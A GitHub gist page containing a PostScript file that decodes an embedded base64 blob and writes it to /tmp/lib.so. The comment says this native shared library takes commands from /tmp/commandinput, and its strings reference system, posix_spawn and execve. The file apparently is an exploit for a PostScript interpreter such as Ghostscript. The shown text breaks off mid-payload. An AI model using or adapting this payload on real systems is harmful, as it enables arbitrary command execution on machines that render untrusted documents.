Skip to content

Instantly share code, notes, and snippets.

@Romern
Last active June 29, 2024 17:44
Show Gist options
  • Save Romern/5073f09edc4095b34a1a084c9ea82814 to your computer and use it in GitHub Desktop.
Save Romern/5073f09edc4095b34a1a084c9ea82814 to your computer and use it in GitHub Desktop.
%!PS
%%% base64 encoding code
% http://www.sunshine2k.de/articles/coding/base64/understanding_base64.html
/base64DecodingTable [
80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 %/* 0 - 15 */
80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 %/* 16 - 31 */
80 80 80 80 80 80 80 80 80 80 80 62 80 80 80 63 %/* 32 - 47 */
52 53 54 55 56 57 58 59 60 61 80 80 80 64 80 80 %/* 48 - 63 */
80 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 %/* 64 - 79 */
15 16 17 18 19 20 21 22 23 24 25 80 80 80 80 80 %/* 80 - 96 */
80 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 %/* 87 - 111 */
41 42 43 44 45 46 47 48 49 50 51 80 80 80 80 80 %/* 112 - 127 */
] def
% takes 4 base64-encoded chars and returns their max 3 byte values
/FourCharsToThreeBytes {
/inputChars exch def
/c1 base64DecodingTable inputChars 0 get get def
/c2 base64DecodingTable inputChars 1 get get def
/c3 base64DecodingTable inputChars 2 get get def
/c4 base64DecodingTable inputChars 3 get get def
/b1
c1 2#00111111 and 2 bitshift
c2 2#00110000 and -4 bitshift
xor
def
% handle padding chars
c3 64 eq c4 64 eq and {
b1
} {
/b2
c2 2#00001111 and 4 bitshift
c3 2#00111100 and -2 bitshift
xor
def
c4 64 eq {
b1 b2
} {
/b3
c3 2#00000011 and 6 bitshift
c4 2#00111111 and
xor
def
b1 b2 b3
} ifelse
} ifelse
} def
/base64Decode {
/inputString exch def
[
0 4 inputString length 1 sub {
/i exch def
[inputString i 4 getinterval {} forall] FourCharsToThreeBytes
} for
]
} def
% Write lib to /tmp/lib.so which takes arguments from /tmp/commandinput
/outfile (/tmp/lib.so) (w) file def
/outbase64 (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EgAJAChXAAAAAAAASgAAAAAAAAClAgAAEgAJALZgAAAAAAAAGAAAAAAAAAAHAQAAEgAJABNXAAAAAAAAFQAAAAAAAABRAAAAIgAJALxPAAAAAAAAFQAAAAAAAAD0AQAAEQAVAMCWAAAAAAAACAAAAAAAAADIAAAAEAAHAAAgAAAAAAAAAAAAAAAAAACOAgAAEgAJANBaAAAAAAAAjwAAAAAAAACTAQAAEgAJAPpQAAAAAAAAhQAAAAAAAAAAX2ZpbmkAX0lUTV9kZXJlZ2lzdGVyVE1DbG9uZVRhYmxlAF9JVE1fcmVnaXN0ZXJUTUNsb25lVGFibGUAX19jeGFfZmluYWxpemUAb3BlbgBsc2VlawBtbWFwAHN5c3RlbQBfRXhpdABfX3N0YWNrX2Noa19mYWlsAHB0aHJlYWRfdGVzdGNhbmNlbABzaWdhY3Rpb24Ac2lnYWRkc2V0AHNpZ3Byb2NtYXNrAHNpZ2VtcHR5c2V0AHBvc2l4X3NwYXduYXR0cl9pbml0AHBvc2l4X3NwYXduYXR0cl9zZXRzaWdtYXNrAHBvc2l4X3NwYXduYXR0cl9zZXRzaWdkZWZhdWx0AHBvc2l4X3NwYXduYXR0cl9zZXRmbGFncwBwb3NpeF9zcGF3bgBwb3NpeF9zcGF3bmF0dHJfZGVzdHJveQB3YWl0cGlkAG1lbWNweQBwdGhyZWFkX3NpZ21hc2sAdmZwcmludGYAc3Rkb3V0AG1lbXNldABfX3NpZ25iaXRsAF9fZnBjbGFzc2lmeWwAZnJleHBsAHdjdG9tYgBzdHJlcnJvcgBzdHJubGVuAG1lbWNocgBfX19lbnZpcm9uAF9fc3RhY2tfY2hrX2d1YXJkAF9fZXJybm9fbG9jYXRpb24AX19zdHJlcnJvcl9sAF9fcHJvZ25hbWVfZnVsbABwcm9ncmFtX2ludm9jYXRpb25fbmFtZQBfX3Byb2duYW1lAHByb2dyYW1faW52b2NhdGlvbl9zaG9ydF9uYW1lAHdjcnRvbWIAY2xvc2UAc2lnaXNtZW1iZXIAX2V4aXQAZXhlY3ZlAHB0aHJlYWRfc2V0Y2FuY2Vsc3RhdGUAcGlwZTIAcmVhZABmd3JpdGUAZndyaXRlX3VubG9ja2VkAHBpcGUAAAAAAAAAAI4AAAAAAAAIAAAAAAAAAJAjAAAAAAAACI4AAAAAAAAIAAAAAAAAAJkjAAAAAAAAEI4AAAAAAAAIAAAAAAAAAEAjAAAAAAAAGI4AAAAAAAAIAAAAAAAAAICRAAAAAAAAII4AAAAAAAAIAAAAAAAAAFCXAAAAAAAAYJEAAAAAAAAIAAAAAAAAAGCRAAAAAAAAaJEAAAAAAAAIAAAAAAAAAICRAAAAAAAAmJEAAAAAAAAIAAAAAAAAACJZAAAAAAAAyJEAAAAAAAAIAAAAAAAAAE1ZAAAAAAAA0JEAAAAAAAAIAAAAAAAAAEVZAAAAAAAA2JEAAAAAAAAIAAAAAAAAAKiSAAAAAAAAuI8AAAAAAAAGAAAACQAAAAAAAAAAAAAAwI8AAAAAAAAGAAAAFQAAAAAAAAAAAAAAyI8AAAAAAAAGAAAAAQAAAAAAAAAAAAAA0I8AAAAAAAAGAAAAKwAAAAAAAAAAAAAA2I8AAAAAAAAGAAAAAgAAAAAAAAAAAAAA4I8AAAAAAAAGAAAAAwAAAAAAAAAAAAAAAJAAAAAAAAAHAAAADQAAAAAAAAAAAAAACJAAAAAAAAAHAAAADwAAAAAAAAAAAAAAEJAAAAAAAAAHAAAAIgAAAAAAAAAAAAAAGJAAAAAAAAAHAAAAJQAAAAAAAAAAAAAAIJAAAAAAAAAHAAAAHQAAAAAAAAAAAAAAKJAAAAAAAAAHAAAAKgAAAAAAAAAAAAAAMJAAAAAAAAAHAAAAMgAAAAAAAAAAAAAAOJAAAAAAAAAHAAAAJwAAAAAAAAAAAAAAQJAAAAAAAAAHAAAAFgAAAAAAAAAAAAAASJAAAAAAAAAHAAAAMwAAAAAAAAAAAAAAUJAAAAAAAAAHAAAAOAAAAAAAAAAAAAAAWJAAAAAAAAAHAAAAHwAAAAAAAAAAAAAAYJAAAAAAAAAHAAAALwAAAAAAAAAAAAAAaJAAAAAAAAAHAAAALAAAAAAAAAAAAAAAcJAAAAAAAAAHAAAANAAAAAAAAAAAAAAAeJAAAAAAAAAHAAAANgAAAAAAAAAAAAAAgJAAAAAAAAAHAAAAGgAAAAAAAAAAAAAAiJAAAAAAAAAHAAAABgAAAAAAAAAAAAAAkJAAAAAAAAAHAAAAIwAAAAAAAAAAAAAAmJAAAAAAAAAHAAAANQAAAAAAAAAAAAAAoJAAAAAAAAAHAAAAEgAAAAAAAAAAAAAAqJAAAAAAAAAHAAAAEwAAAAAAAAAAAAAAsJAAAAAAAAAHAAAAGAAAAAAAAAAAAAAAuJAAAAAAAAAHAAAAEAAAAAAAAAAAAAAAwJAAAAAAAAAHAAAAJAAAAAAAAAAAAAAAyJAAAAAAAAAHAAAAKAAAAAAAAAAAAAAA0JAAAAAAAAAHAAAABwAAAAAAAAAAAAAA2JAAAAAAAAAHAAAALgAAAAAAAAAAAAAA4JAAAAAAAAAHAAAACwAAAAAAAAAAAAAA6JAAAAAAAAAHAAAAGQAAAAAAAAAAAAAA8JAAAAAAAAAHAAAANwAAAAAAAAAAAAAA+JAAAAAAAAAHAAAAIQAAAAAAAAAAAAAAAJEAAAAAAAAHAAAAJgAAAAAAAAAAAAAACJEAAAAAAAAHAAAAPAAAAAAAAAAAAAAAEJEAAAAAAAAHAAAAEQAAAAAAAAAAAAAAGJEAAAAAAAAHAAAABQAAAAAAAAAAAAAAIJEAAAAAAAAHAAAADgAAAAAAAAAAAAAAKJEAAAAAAAAHAAAAIAAAAAAAAAAAAAAAMJEAAAAAAAAHAAAAKQAAAAAAAAAAAAAAOJEAAAAAAAAHAAAALQAAAAAAAAAAAAAAQJEAAAAAAAAHAAAAGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQWMMAAAAAAAAAAAAAAAAA/zXabwAA/yXcbwAADx9AAP8l2m8AAGgAAAAA6eD/////JdJvAABoAQAAAOnQ/////yXKbwAAaAIAAADpwP////8lwm8AAGgDAAAA6bD/////JbpvAABoBAAAAOmg/////yWybwAAaAUAAADpkP////8lqm8AAGgGAAAA6YD/////JaJvAABoBwAAAOlw/////yWabwAAaAgAAADpYP////8lkm8AAGgJAAAA6VD/////JYpvAABoCgAAAOlA/////yWCbwAAaAsAAADpMP////8lem8AAGgMAAAA6SD/////JXJvAABoDQAAAOkQ/////yVqbwAAaA4AAADpAP////8lYm8AAGgPAAAA6fD+////JVpvAABoEAAAAOng/v///yVSbwAAaBEAAADp0P7///8lSm8AAGgSAAAA6cD+////JUJvAABoEwAAAOmw/v///yU6bwAAaBQAAADpoP7///8lMm8AAGgVAAAA6ZD+////JSpvAABoFgAAAOmA/v///yUibwAAaBcAAADpcP7///8lGm8AAGgYAAAA6WD+////JRJvAABoGQAAAOlQ/v///yUKbwAAaBoAAADpQP7///8lAm8AAGgbAAAA6TD+////JfpuAABoHAAAAOkg/v///yXybgAAaB0AAADpEP7///8l6m4AAGgeAAAA6QD+////JeJuAABoHwAAAOnw/f///yXabgAAaCAAAADp4P3///8l0m4AAGghAAAA6dD9////JcpuAABoIgAAAOnA/f///yXCbgAAaCMAAADpsP3///8lum4AAGgkAAAA6aD9////JbJuAABoJQAAAOmQ/f///yWqbgAAaCYAAADpgP3///8lom4AAGgnAAAA6XD9////JZpuAABoKAAAAOlg/f//U4n76GwBAADoaAEAADHA6Gc8AACJ3+gl/v//Dx9EAABIjT2RbwAASI0Fim8AAEg5+HQVSIsF9mwAAEiFwHQJ/+APH4AAAAAAww8fgAAAAABIjT1hbwAASI01Wm8AAEgp/kiJ8EjB7j9IwfgDSAHGSNH+dBRIiwWt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